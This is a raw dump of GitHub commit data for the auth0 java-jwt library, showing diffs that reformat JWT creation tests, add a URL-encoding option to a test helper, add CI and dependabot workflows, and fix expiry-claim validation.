+            .withArrayClaim("name", new Integer[]{1, 2, 3})
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -465,8 +489,8 @@ public void shouldAcceptCustomArrayClaimOfTypeInteger() {
     @Test
     public void shouldAcceptCustomArrayClaimOfTypeLong() {
         String jwt = JWTCreator.init()
-                .withArrayClaim("name", new Long[]{1L, 2L, 3L})
-                .sign(Algorithm.HMAC256("secret"));
+            .withArrayClaim("name", new Long[]{1L, 2L, 3L})
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -479,8 +503,8 @@ public void shouldAcceptCustomClaimOfTypeMap() {
         data.put("test1", "abc");
         data.put("test2", "def");
         String jwt = JWTCreator.init()
-                .withClaim("data", data)
-                .sign(Algorithm.HMAC256("secret"));
+            .withClaim("data", data)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -495,8 +519,8 @@ public void shouldRefuseCustomClaimOfTypeUserPojo() {
         exception.expect(IllegalArgumentException.class);
 
         JWTCreator.init()
-                 .withClaim("pojo", data)
-                 .sign(Algorithm.HMAC256("secret"));
+            .withClaim("pojo", data)
+            .sign(Algorithm.HMAC256("secret"));
     }
 
     @SuppressWarnings("unchecked")
@@ -527,8 +551,8 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         data.put("map", sub);
 
         String jwt = JWTCreator.init()
-                .withClaim("data", data)
-                .sign(Algorithm.HMAC256("secret"));
+            .withClaim("data", data)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -572,7 +596,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         data.add(new Date(123000));
         data.add(Instant.ofEpochSecond(123L));
         data.add(true);
-        
+
         // array types
         data.add(new Integer[]{3, 5});
         data.add(new Long[]{Long.MAX_VALUE, Long.MIN_VALUE});
@@ -588,23 +612,23 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         data.add(sub);
 
         String jwt = JWTCreator.init()
-                .withClaim("data", data)
-                .sign(Algorithm.HMAC256("secret"));
+            .withClaim("data", data)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
 
         DecodedJWT decodedJWT = JWT.decode(jwt);
         List<Object> list = decodedJWT.getClaim("data").asList(Object.class);
-        
+
         assertThat(list.get(0), is("abc"));
         assertThat(list.get(1), is(1));
         assertThat(list.get(2), is(Long.MAX_VALUE));
         assertThat(list.get(3), is(123.456d));
         assertThat(list.get(4), is(123));
         assertThat(list.get(5), is(123));
         assertThat(list.get(6), is(true));
-        
+
         // array types
         assertThat(list.get(7), is(Arrays.asList(new Integer[]{3, 5})));
         assertThat(list.get(8), is(Arrays.asList(new Long[]{Long.MAX_VALUE, Long.MIN_VALUE})));
@@ -624,20 +648,20 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
     public void shouldAcceptCustomClaimForNullListItem() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", Arrays.asList("a", null, "c"));
-        
+
         JWTCreator.init()
-                 .withClaim("pojo", data)
-                 .sign(Algorithm.HMAC256("secret"));
+            .withClaim("pojo", data)
+            .sign(Algorithm.HMAC256("secret"));
     }
 
     @Test
     @SuppressWarnings("unchecked")
     public void shouldAcceptCustomClaimWithNullMapAndRemoveClaim() throws Exception {
         String jwt = JWTCreator.init()
-        .withClaim("map", "stubValue")
-        .withClaim("map", (Map<String, ?>) null)
-        .sign(Algorithm.HMAC256("secret"));
-        
+            .withClaim("map", "stubValue")
+            .withClaim("map", (Map<String, ?>) null)
+            .sign(Algorithm.HMAC256("secret"));
+
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
 
@@ -646,18 +670,18 @@ public void shouldAcceptCustomClaimWithNullMapAndRemoveClaim() throws Exception
         Map<String, Object> map = (Map<String, Object>) mapper.readValue(body, Map.class);
         assertThat(map, anEmptyMap());
     }
-    
+
     @Test
     @SuppressWarnings("unchecked")
     public void shouldAcceptCustomClaimWithNullListAndRemoveClaim() throws Exception {
         String jwt = JWTCreator.init()
-        .withClaim("list", "stubValue")
-        .withClaim("list", (List<String>) null)
-        .sign(Algorithm.HMAC256("secret"));
-        
+            .withClaim("list", "stubValue")
+            .withClaim("list", (List<String>) null)
+            .sign(Algorithm.HMAC256("secret"));
+
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
-        
+
         String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
         ObjectMapper mapper = new ObjectMapper();
         Map<String, Object> map = (Map<String, Object>) mapper.readValue(body, Map.class);
@@ -668,37 +692,37 @@ public void shouldAcceptCustomClaimWithNullListAndRemoveClaim() throws Exception
     public void shouldRefuseCustomClaimForNullMapValue() {
         Map<String, Object> data = new HashMap<>();
         data.put("subKey", null);
-        
+
         exception.expect(IllegalArgumentException.class);
 
         JWTCreator.init()
-                 .withClaim("pojo", data)
-                 .sign(Algorithm.HMAC256("secret"));
+            .withClaim("pojo", data)
+            .sign(Algorithm.HMAC256("secret"));
     }
 
     @Test
     public void shouldRefuseCustomClaimForNullMapKey() {
         Map<String, Object> data = new HashMap<>();
         data.put(null, "subValue");
-        
+
         exception.expect(IllegalArgumentException.class);
 
         JWTCreator.init()
-                 .withClaim("pojo", data)
-                 .sign(Algorithm.HMAC256("secret"));
+            .withClaim("pojo", data)
+            .sign(Algorithm.HMAC256("secret"));
     }
 
-    @SuppressWarnings({ "unchecked", "rawtypes" })
+    @SuppressWarnings({"unchecked", "rawtypes"})
     @Test
     public void shouldRefuseCustomMapClaimForNonStringKey() {
         Map data = new HashMap<>();
         data.put(new Object(), "value");
-        
+
         exception.expect(IllegalArgumentException.class);
 
         JWTCreator.init()
-                 .withClaim("pojo", (Map<String, Object>)data)
-                 .sign(Algorithm.HMAC256("secret"));
+            .withClaim("pojo", (Map<String, Object>) data)
+            .sign(Algorithm.HMAC256("secret"));
     }
 
     @Test
@@ -708,33 +732,33 @@ public void shouldRefuseCustomListClaimForUnknownListElement() {
         exception.expect(IllegalArgumentException.class);
 
         JWTCreator.init()
-                 .withClaim("list", list)
-                 .sign(Algorithm.HMAC256("secret"));
+            .withClaim("list", list)
+            .sign(Algorithm.HMAC256("secret"));
     }
 
     @Test
     public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() {
         List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
-        
+
         Map<String, Object> data = new HashMap<>();
         data.put("someList", list);
 
         exception.expect(IllegalArgumentException.class);
 
         JWTCreator.init()
-                 .withClaim("list", list)
-                 .sign(Algorithm.HMAC256("secret"));
+            .withClaim("list", list)
+            .sign(Algorithm.HMAC256("secret"));
     }
 
     @Test
     public void shouldRefuseCustomListClaimForUnknownArrayType() {
         List<Object> list = new ArrayList<>();
-        list.add(new Object[] {"test"});
+        list.add(new Object[]{"test"});
 
         exception.expect(IllegalArgumentException.class);
 
         JWTCreator.init()
-                 .withClaim("list", list)
-                 .sign(Algorithm.HMAC256("secret"));
+            .withClaim("list", list)
+            .sign(Algorithm.HMAC256("secret"));
     }
 }u}(jS  (683adfb1a4a85b41fb4a0dc037906ec7ce1c83edj*T  @lib/src/test/java/com/auth0/jwt/algorithms/CryptoTestHelper.javaj,T  modifiedj$T  K	j%T  Kj.T  Kj/T  https://github.com/auth0/java-jwt/blob/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javaj1T  https://github.com/auth0/java-jwt/raw/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javaj3T  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.java?ref=33356b191d1c64c1f3bb13de43d2e33181f0d671j5T  X  @@ -13,9 +13,15 @@ public abstract class CryptoTestHelper {
     private static final Pattern authHeaderPattern = Pattern.compile("^([\\w-]+)\\.([\\w-]+)\\.([\\w-]+)");
 
 	public static String asJWT(Algorithm algorithm, String header, String payload) {
-	    byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
-	    String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
-	    return String.format("%s.%s.%s", header, payload, jwtSignature);
+	    return asJWT(algorithm, header, payload, true);
+	}
+
+	public static String asJWT(Algorithm algorithm, String header, String payload, boolean urlEncoder) {
+		byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
+
+		Base64.Encoder encoder = urlEncoder ? Base64.getUrlEncoder() : Base64.getEncoder();
+		String jwtSignature = encoder.withoutPadding().encodeToString(signatureBytes);
+		return String.format("%s.%s.%s", header, payload, jwtSignature);
 	}
 	
 	public static void assertSignatureValue(String jwt, String expectedSignature) {u}(jS  (4184ac4be6387d55bf6f837843dc0034b97af6e5j*T  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj,T  modifiedj$T  Kj%T  K j.T  Kj/T  https://github.com/auth0/java-jwt/blob/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj1T  https://github.com/auth0/java-jwt/raw/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj3T  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=33356b191d1c64c1f3bb13de43d2e33181f0d671j5T  Xd  @@ -535,6 +535,11 @@ public void shouldDoECDSA256Signing() throws Exception {
 
         assertSignaturePresent(jwt);
         algorithmVerify.verify(JWT.decode(jwt));
+
+        jwt = asJWT(algorithm, ES256Header, auth0IssPayload, false);
+
+        assertSignaturePresent(jwt);
+        algorithmVerify.verify(JWT.decode(jwt), false);
     }
 
     @Testu}(jS  (5a75c83928d63cb30b585fa4cc10f9585fe6a3c1j*T  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj,T  modifiedj$T  Kj%T  K j.T  Kj/T  https://github.com/auth0/java-jwt/blob/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj1T  https://github.com/auth0/java-jwt/raw/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj3T  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=33356b191d1c64c1f3bb13de43d2e33181f0d671j5T  Xh  @@ -535,6 +535,11 @@ public void shouldDoECDSA256Signing() throws Exception {
 
         assertSignaturePresent(jwt);
         algorithmVerify.verify(JWT.decode(jwt));
+
+        jwt = asJWT(algorithmSign, ES256Header, auth0IssPayload, false);
+
+        assertSignaturePresent(jwt);
+        algorithmVerify.verify(JWT.decode(jwt), false);
     }
 
     @Testu}(jS  (4275199939478e40c513a8fa55b7a6d721d621bcj*T  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javaj,T  modifiedj$T  Kj%T  Kj.T  Kj/T  https://github.com/auth0/java-jwt/blob/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj1T  https://github.com/auth0/java-jwt/raw/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj3T  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=33356b191d1c64c1f3bb13de43d2e33181f0d671j5T  X  @@ -168,6 +168,11 @@ public void shouldDoHMAC256SigningWithBytes() {
         assertSignaturePresent(jwt);
         assertSignatureValue(jwt, expectedSignature);
         algorithm.verify(JWT.decode(jwt));
+
+        jwt = asJWT(algorithm, HS256Header, auth0IssPayload, false);
+
+        assertSignaturePresent(jwt);
+        algorithm.verify(JWT.decode(jwt), false);
     }
 
     @Test
@@ -291,4 +296,4 @@ public void shouldThrowWhenSignatureNotValidBase64() throws Exception {
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWm+i903JuUoDRZDBPB7HwkS4nVyWH1M";
         algorithm.verify(JWT.decode(jwt));
     }
-}
\ No newline at end of file
+}u}(jS  (5e9e1b4c8496e7a8ec109756ea6d46faa72e0896j*T  @lib/src/test/java/com/auth0/jwt/algorithms/RSAAlgorithmTest.javaj,T  modifiedj$T  Kj%T  Kj.T  Kj/T  https://github.com/auth0/java-jwt/blob/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj1T  https://github.com/auth0/java-jwt/raw/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj3T  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.java?ref=33356b191d1c64c1f3bb13de43d2e33181f0d671j5T  X  @@ -280,6 +280,11 @@ public void shouldDoRSA256Signing() throws Exception {
         assertSignaturePresent(jwt);
         assertSignatureValue(jwt, expectedSignature);
         algorithmVerify.verify(JWT.decode(jwt));
+
+        jwt = asJWT(algorithmSign, RS256Header, auth0IssPayload, false);
+
+        assertSignaturePresent(jwt);
+        algorithmVerify.verify(JWT.decode(jwt), false);
     }
 
     @Test
@@ -577,4 +582,4 @@ public void shouldThrowWhenSignatureNotValidBase64()  throws Exception {
         Algorithm algorithm = Algorithm.RSA256((RSAKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE, "RSA"));
         algorithm.verify(JWT.decode(jwt));
     }
-}
\ No newline at end of file
+}ueu(ef1825b63c81cad6aa5b1e1b7c943ad639bd3140}(sha(ef1825b63c81cad6aa5b1e1b7c943ad639bd3140node_idEC_kwDOAQtL0doAKGVmMTgyNWI2M2M4MWNhZDZhYTViMWUxYjdjOTQzYWQ2MzliZDMxNDAcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-08-17T12:09:19Zu	committer}(jiT  GitHubjkT  noreply@github.comjmT  2023-08-17T12:09:19Zumessage+[SDK-4443] Use GitHub Actions for CI (#668)tree}(jaT  (deb626f6b367d635f07e4781e2c4adbf277516b6url^https://api.github.com/repos/auth0/java-jwt/git/trees/deb626f6b367d635f07e4781e2c4adbf277516b6ujyT  `https://api.github.com/repos/auth0/java-jwt/git/commits/ef1825b63c81cad6aa5b1e1b7c943ad639bd3140
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJk3g3vCRBK7hj4Ov3rIwAAx/8IAFishtqndRHNn8XGUiX2sT6j
K6fL0e3rQxHK3JFZE6mSbgqb8EfELhy85B50I6EL/lbeV4STgTFi39en9UHaDZIZ
iocSj/ShP9my6UGII2+auUMSSACDE7O+y1zu3KC5uhA2rTDhv38gs56zySl6JQ/b
+UBO3+/I5qvj3UT6zRBSMmE0csItth2h+WpmV8P9mAxwu1jfgoWEhi3gjXcC3J6m
DJmwSw4ZEkrRt3qSw9rLXD+fu/hayaeeLoa1uPj1uYRv2fIFGNS+73jUgR8YsxYD
Lw9nupeanTLuCQfnItSKJ+/14EgWWGtI0x0xmdYaNQJp7nqL1XzLj/YsD1nwVhk=
=tlTH
-----END PGP SIGNATURE-----
payloadX  tree deb626f6b367d635f07e4781e2c4adbf277516b6
parent 618c9968642ac4d30fab819210fd51d595473ffe
author Jim Anderson <jim.anderson@auth0.com> 1692274159 -0500
committer GitHub <noreply@github.com> 1692274159 -0500

[SDK-4443] Use GitHub Actions for CI (#668)

uujyT  \https://api.github.com/repos/auth0/java-jwt/commits/ef1825b63c81cad6aa5b1e1b7c943ad639bd3140html_urlQhttps://github.com/auth0/java-jwt/commit/ef1825b63c81cad6aa5b1e1b7c943ad639bd3140comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ef1825b63c81cad6aa5b1e1b7c943ad639bd3140/commentsjgT  }(login
jimmyjamesidJ7 jcT  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jyT  'https://api.github.com/users/jimmyjamesjT  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujoT  }(jT  web-flowjT  J/jcT  MDQ6VXNlcjE5ODY0NDQ3jT  4https://avatars.githubusercontent.com/u/19864447?v=4jT  h3jyT  %https://api.github.com/users/web-flowjT  https://github.com/web-flowjT  /https://api.github.com/users/web-flow/followersjT  <https://api.github.com/users/web-flow/following{/other_user}jT  5https://api.github.com/users/web-flow/gists{/gist_id}jT  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jT  3https://api.github.com/users/web-flow/subscriptionsjT  *https://api.github.com/users/web-flow/orgsjT  +https://api.github.com/users/web-flow/reposjT  6https://api.github.com/users/web-flow/events{/privacy}jT  5https://api.github.com/users/web-flow/received_eventsjT  UserjT  uparents]}(jaT  (618c9968642ac4d30fab819210fd51d595473ffejyT  \https://api.github.com/repos/auth0/java-jwt/commits/618c9968642ac4d30fab819210fd51d595473ffejT  Qhttps://github.com/auth0/java-jwt/commit/618c9968642ac4d30fab819210fd51d595473ffeuastats}(totalK)	additionsK)	deletionsK ufiles](}(jaT  (f86ed60e25188096967f4ec9287f830d43a37e38filename$.github/workflows/build-and-test.ymlstatusaddedjT  KjT  K changesKblob_urlxhttps://github.com/auth0/java-jwt/blob/ef1825b63c81cad6aa5b1e1b7c943ad639bd3140/.github%2Fworkflows%2Fbuild-and-test.ymlraw_urlwhttps://github.com/auth0/java-jwt/raw/ef1825b63c81cad6aa5b1e1b7c943ad639bd3140/.github%2Fworkflows%2Fbuild-and-test.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fbuild-and-test.yml?ref=ef1825b63c81cad6aa5b1e1b7c943ad639bd3140patchX	  @@ -0,0 +1,27 @@
+name: auth0/java-jwt/build-and-test
+
+on:
+  pull_request:
+  merge_group:
+  push:
+    branches: ["master", "main", "v1"]
+
+jobs:
+  gradle:
+    runs-on:  ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+      - uses: actions/setup-java@v3
+        with:
+          distribution: temurin
+          java-version: 11
+      - uses: gradle/gradle-build-action@a4cf152f482c7ca97ef56ead29bf08bcd953284c
+        with:
+          arguments: assemble apiDiff check jacocoTestReport --continue --console=plain
+      - uses: codecov/codecov-action@eaaf4bedf32dbdc6b720b63067d99c4d77d6047d
+        with:
+          flags: unittests
+      - uses: actions/upload-artifact@v3
+        with:
+          name: Reports
+          path: lib/build/reportsu}(jaT  (f2839f50be3276f46146a77e50c87bf2653649ecjT   .github/workflows/dependabot.ymljT  addedjT  KjT  K jT  KjT  thttps://github.com/auth0/java-jwt/blob/ef1825b63c81cad6aa5b1e1b7c943ad639bd3140/.github%2Fworkflows%2Fdependabot.ymljT  shttps://github.com/auth0/java-jwt/raw/ef1825b63c81cad6aa5b1e1b7c943ad639bd3140/.github%2Fworkflows%2Fdependabot.ymljT  https://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fdependabot.yml?ref=ef1825b63c81cad6aa5b1e1b7c943ad639bd3140jT  Xj  @@ -0,0 +1,14 @@
+version: 2
+updates:
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      interval: "daily"
+
+  - package-ecosystem: "gradle"
+    directory: "lib"
+    schedule:
+      interval: "daily"
+    ignore:
+      - dependency-name: "*"
+        update-types: ["version-update:semver-major"]
\ No newline at end of fileueu(12ae664a60d5e12d824c0896d5a82ef8522a8b69}(sha(12ae664a60d5e12d824c0896d5a82ef8522a8b69node_idEC_kwDOAQtL0doAKDEyYWU2NjRhNjBkNWUxMmQ4MjRjMDg5NmQ1YTgyZWY4NTIyYThiNjkcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-01-26T23:04:32Zu	committer}(jT  GitHubjT  noreply@github.comjT  2023-01-26T23:04:32Zumessage]Fix for `exp` claim considered valid if equal to now (#652)

exp claim cannot be equal to nowtree}(jT  (d5f535560e84384d758ddff24439f75d861e2427url^https://api.github.com/repos/auth0/java-jwt/git/trees/d5f535560e84384d758ddff24439f75d861e2427ujT  `https://api.github.com/repos/auth0/java-jwt/git/commits/12ae664a60d5e12d824c0896d5a82ef8522a8b69
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJj0wcACRBK7hj4Ov3rIwAARLMIACgpAljMODyNqWk2cvAuqzjJ
2/lLlzFdq8Ru3+l2YQCTpvFxBv1SHOQ5ceYocnF9wca4khzxoSeYNucK5LMXJ6Zz
9Yljwd/3GSLnnH/pmrMkvBPRTy4cXUZ4pe/IAakYDlfCdfYPqKyQhNpz4qdLN+64
LYRg24Qjaa2plw3LV3NYESu1X6H929B1X7olJiwh9v6xv/m1KmEfEkfWSycC37QP
z4HHpZSRMmhpgqLKSUGJl9hEM7PfArlSWzimvVN5Nzq5orLXyL/EJq1Kte6dGlQw
XsJ1IrMF+82R+i63QJ6on4oEgrRY5+sJHd/Gtwpj1g3fFzU4uNMRRPrSif8EATU=
=vadU
-----END PGP SIGNATURE-----
payloadX1  tree d5f535560e84384d758ddff24439f75d861e2427
parent 6e80ea1e5a8624f34f133c3be71078ee9ab83906
author Jim Anderson <jim.anderson@auth0.com> 1674774272 -0600
committer GitHub <noreply@github.com> 1674774272 -0600

Fix for `exp` claim considered valid if equal to now (#652)

exp claim cannot be equal to nowuujT  \https://api.github.com/repos/auth0/java-jwt/commits/12ae664a60d5e12d824c0896d5a82ef8522a8b69html_urlQhttps://github.com/auth0/java-jwt/commit/12ae664a60d5e12d824c0896d5a82ef8522a8b69comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/12ae664a60d5e12d824c0896d5a82ef8522a8b69/commentsjT  }(login
jimmyjamesidJ7 jT  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jT  'https://api.github.com/users/jimmyjamesjU  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujT  }(jU  web-flowj
U  J/jT  MDQ6VXNlcjE5ODY0NDQ3jU  4https://avatars.githubusercontent.com/u/19864447?v=4jU  h3jT  %https://api.github.com/users/web-flowjU  https://github.com/web-flowjU  /https://api.github.com/users/web-flow/followersjU  <https://api.github.com/users/web-flow/following{/other_user}jU  5https://api.github.com/users/web-flow/gists{/gist_id}jU  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jU  3https://api.github.com/users/web-flow/subscriptionsjU  *https://api.github.com/users/web-flow/orgsj U  +https://api.github.com/users/web-flow/reposj"U  6https://api.github.com/users/web-flow/events{/privacy}j$U  5https://api.github.com/users/web-flow/received_eventsj&U  Userj(U  uparents]}(jT  (6e80ea1e5a8624f34f133c3be71078ee9ab83906jT  \https://api.github.com/repos/auth0/java-jwt/commits/6e80ea1e5a8624f34f133c3be71078ee9ab83906jU  Qhttps://github.com/auth0/java-jwt/commit/6e80ea1e5a8624f34f133c3be71078ee9ab83906uastats}(totalK)	additionsK"	deletionsKufiles](}(jT  (6cec2026cab86481d3bd03852b2118b465f9860bfilename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedjBU  KjCU  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/12ae664a60d5e12d824c0896d5a82ef8522a8b69/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/12ae664a60d5e12d824c0896d5a82ef8522a8b69/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=12ae664a60d5e12d824c0896d5a82ef8522a8b69patchXG  @@ -346,7 +346,7 @@ private boolean assertValidInstantClaim(String claimName, Claim claim, long leew
                     throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal), claimVal);
                 }
             } else {
-                isValid = assertInstantIsPast(claimVal, leeway, now);
+                isValid = assertInstantIsLessThanOrEqualToNow(claimVal, leeway, now);
                 if (!isValid) {
                     throw new IncorrectClaimException(
                             String.format("The Token can't be used before %s.", claimVal), claimName, claim);
@@ -356,10 +356,10 @@ private boolean assertValidInstantClaim(String claimName, Claim claim, long leew
         }
 
         private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
-            return !(claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal));
+            return claimVal == null || now.minus(Duration.ofSeconds(leeway)).isBefore(claimVal);
         }
 
-        private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+        private boolean assertInstantIsLessThanOrEqualToNow(Instant claimVal, long leeway, Instant now) {
             return !(claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal));
         }
 u}(jT  (087f1e9ed7f245ffadbb9ced51b0e663f01131dbjHU  ,lib/src/test/java/com/auth0/jwt/JWTTest.javajJU  modifiedjBU  KjCU  KjLU  KjMU  https://github.com/auth0/java-jwt/blob/12ae664a60d5e12d824c0896d5a82ef8522a8b69/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajOU  https://github.com/auth0/java-jwt/raw/12ae664a60d5e12d824c0896d5a82ef8522a8b69/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajQU  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=12ae664a60d5e12d824c0896d5a82ef8522a8b69jSU  X  @@ -12,6 +12,7 @@
 import java.security.interfaces.ECKey;
 import java.security.interfaces.RSAKey;
 import java.time.Clock;
+import java.time.Duration;
 import java.time.Instant;
 import java.time.ZoneId;
 import java.util.Base64;
@@ -270,12 +271,12 @@ public void shouldGetStringAudience() {
     @Test
     public void shouldGetExpirationTime() {
         long seconds = 1477592L;
-        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
+        Clock mockNow = Clock.fixed(Instant.ofEpochSecond(seconds - 1), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0Nzc1OTJ9.x_ZjkPkKYUV5tdvc0l8go6D_z2kez1MQcOxokXrDc3k";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
